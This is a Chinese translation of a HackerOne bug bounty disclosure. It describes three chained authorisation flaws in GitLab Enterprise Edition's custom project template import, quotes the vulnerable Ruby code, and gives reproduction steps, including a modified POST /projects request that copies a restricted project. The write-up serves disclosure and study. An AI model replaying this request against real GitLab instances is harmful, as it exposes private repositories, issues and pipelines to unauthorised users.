近期,hackerone公开了研究人员提交的Gitlab模板功能的三个小漏洞,可组合起来窃取敏感信息,详情如下所述。
先让我们从企业版(EE)的ProjectsController
开始,它和app/controllers/projects_controller.rb
文件相关联。
ee/app/controllers/ee/projects_controller.rb
override :project_params_attributes
def project_params_attributes
super + project_params_ee
end
def project_params_ee
attrs = %i[
# ...
use_custom_template
# ...
group_with_project_templates_id
]
# ...
attrs
end
以上所示方法定义了用户需要传递哪些参数。其中有两个值得注意的参数分别是use_custom_template
和group_with_project_templates_id
。而在app/controllers/projects_controller.rb
文件的351行,project_params_attributes
方法的值被附加到该方法中,这个值表示创建项目时用户可以提供的所有CE属性。CE控制器也允许传递template_name
参数。这意味着有三个参数可以传递给create
方法中的Projects::CreateService
。
app/controllers/projects_controller.rb
def create
@project = ::Projects::CreateService.new(current_user, project_params(attributes: project_params_create_attributes)).execute
# ...
end
# ...
def project_params_attributes
[
# ...
:template_name,
# ...
]
而在EE中,EE:Projects::CreateService
和Projects::CreateService
相关联。前置的EE代码包含验证参数use_custom_template
和group_with_project_templates_id
的逻辑。
ee/app/services/ee/projects/create_service.rb
def execute
# ...
group_with_project_templates_id = params.delete(:group_with_project_templates_id) if params[:template_name].blank?
# ...
validate_namespace_used_with_template(project, group_with_project_templates_id)
end
# ...
def validate_namespace_used_with_template(project, group_with_project_templates_id)
return unless project.group
subgroup_with_templates_id = group_with_project_templates_id || params[:group_with_project_templates_id]
return if subgroup_with_templates_id.blank?
templates_owner = ::Group.find(subgroup_with_templates_id).parent
unless templates_owner.self_and_descendants.exists?(id: project.namespace_id)
project.errors.add(:namespace, _("is not a descendant of the Group owning the template"))
end
end
而上述代码就是第一个漏洞存在的地方。在正常情况下,一个项目模板只能被复制到项目模板作为后缀的命名空间中。然而,validate_namespace_used_with_template
方法在不是针对一个组创建项目时(return unless project.group
)会返回一个nil
值。这意味着,如果为在User
名称空间中创建的项目提供group_with_project_templates_id
值,那么就永远不会执行验证逻辑。这也就意味着在实例变量params
中use_custom_template
和group_with_project_templates_id
参数会被设置。
因为EE代码是预写好的,所以execute
方法是在调用Projects::CreateService
之前执行的。又因为EE类的验证逻辑被绕过,所以Projects::CreateService
类的execute
方法会被成功调用:
app/services/projects/create_service.rb
def execute
if @params[:template_name].present?
return ::Projects::CreateFromTemplateService.new(current_user, params).execute
end
# ...
end
当给定template_name
参数时,将返回Projects::CreateFromTemplateService
的结果,而不是执行常规流程。这个类的CE代码并不是很重要。而EE类则包含了重要的逻辑:
ee/app/services/ee/projects/create_from_template_service.rb
def execute
return super unless use_custom_template?
override_params = params.dup
params[:custom_template] = template_project if template_project
::Projects::GitlabProjectsImportService.new(current_user, params, override_params).execute
end
private
def use_custom_template?
# ...
template_name &&
::Gitlab::Utils.to_boolean(params.delete(:use_custom_template)) &&
::Gitlab::CurrentSettings.custom_project_templates_enabled?
# ...
end
def template_project
# ...
current_user.available_custom_project_templates(search: template_name, subgroup_id: subgroup_id)
.first
# ...
end
def subgroup_id
params[:group_with_project_templates_id].presence
end
这个类做了如下几件事:它确定了一个自定义模板名,并且GitLab实例启用了自定义项目模板。值得注意的是:gitlab.com
启用了这个设置。当它通过这些检查时,template_project
方法就会被调用。下面是available_custom_project_templates
方法的定义:
ee/app/models/ee/user.rb
def available_custom_project_templates(search: nil, subgroup_id: nil)
templates = ::Gitlab::CurrentSettings.available_custom_project_templates(subgroup_id)
::ProjectsFinder.new(current_user: self,
project_ids_relation: templates,
params: { search: search, sort: 'name_asc' })
.execute
end
该方法需要两个参数:search
和subgroup_id
。第一个是用户传递的template_name
,第二个是group_with_project_templates_id
。templates
变量根据以下方法定义获取其值:
ee/app/models/ee/application_setting.rb
def available_custom_project_templates(subgroup_id = nil)
group_id = subgroup_id || custom_project_templates_group_id
return ::Project.none unless group_id
::Project.where(namespace_id: group_id)
end
此方法将返回,subgroup_id
参数提供给namespace_id
的所有Project
模型。然后传递给User
模型上的available_custom_project_templates
方法中的ProjectsFinder
。这就是第二个漏洞所在。ProjectsFinder
使用一个初始集合,其中包含经过身份验证的用户可以访问的项目。但是,它并不会验证用户的访问级别。这意味着任何项目都是公开的,例如敏感的Repository
,Issue
,Snippets
等,都会被User
模型上的available_custom_project_templates
方法返回。在理想的情况下,该方法应该根据用户权限返回对应的内容。
如果我们回到EE:Projects::CreateFromTemplateService
文件,你能看到template_project
通过available_custom_project_templates
方法返回首个项目。这意味着params[:custom_template]
也许会包含本不应该被泄露的Project
模型。而EE::Projects::CreateFromTemplateService
类稍后会调用参数更新后的Projects::GitlabProjectsImportService
类。
def execute
super.tap do |project|
if project.saved? && custom_template
custom_template.add_export_job(current_user: current_user,
after_export_strategy: export_strategy(project))
end
end
end
private
override :prepare_import_params
def prepare_import_params
super
if custom_template
params[:import_type] = 'gitlab_custom_project_template'
end
end
def custom_template
strong_memoize(:custom_template) do
params.delete(:custom_template)
end
end
def export_strategy(project)
Gitlab::ImportExport::AfterExportStrategies::CustomTemplateExportImportStrategy.new(export_into_project_id: project.id)
end
这个EE类是前置的,但是使用super.tap
去调用CE代码(super
),然后前进到CE代码的结果。如果设置了params[:custom_template]
,并且通过super
调用成功保存了项目,则会为ProjectsFinder
返回的custom_template
安排一个导出动作。此时用户可能没有权限查看项目的各个部分。此外,导入新创建的项目中的导出文件,是一个新的导出策略。
而这里存在第三个漏洞。当规划好导出动作时,它假定用户已被授权进行导出。在理想情况下,规划好的的Sidekiq作业(ProjectExportWorker
)将进行权限检查。这也可以避免当队列堵塞,并且用户在作业执行之前离开项目的TOCTOU问题。当导出作业创建后,将自动将其导入到用户能完全访问的项目中。
将以上三个漏洞结合起来,攻击者就能够获得某个项目中的任何敏感信息。这种攻击仅适用于属于一个组且repositories
,issues
,pipelines
,merge requests
访问受限的公共项目。一个明显的例子即是[https://gitlab.com/gitlab-com/finance](https://gitlab.com/gitlab-com/finance)
,它虽然是一个公共项目,但项目很多部分都没有公开。
复现步骤如下:
1.以普通用户身份登录并创建一个组,假设组ID是1
2.在这个组中,创建一个公共项目test_project
3.在Settings > General
下更新Visibility, project features, permissions
,让多个项目部分只对项目成员开放
4.登陆另一个帐户,转到[http://instance/projects/new](http://instance/projects/new)
5.创建一个新项目,并将相关请求拦截下来
POST /projects HTTP/1.1
Host: instance
...
----------506740453
Content-Disposition: form-data; name="project[use_custom_template]"
false
----------506740453
Content-Disposition: form-data; name="project[template_name]"
----------506740453
Content-Disposition: form-data; name="project[group_with_project_templates_id]"
----------506740453
Content-Disposition: form-data; name="project[name]"
project_name
----------506740453
Content-Disposition: form-data; name="project[namespace_id]"
1
----------506740453
Content-Disposition: form-data; name="project[path]"
project_name
----------506740453--
对于以上请求,更改参数use_custom_template
为true
,template_name
改为攻击目标,group_with_project_templates_id
改为受害者创建的组ID。接着发送请求,你将很快看到项目被导入。
根据项目大小,这一过程可能需要几分钟。最后你就可以看到目标项目的全貌。
Gitlab在确认漏洞后,发放了12000美金的奖励。
本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场:https://nosec.org/home/detail/3227.html
来源:https://hackerone.com/reports/689314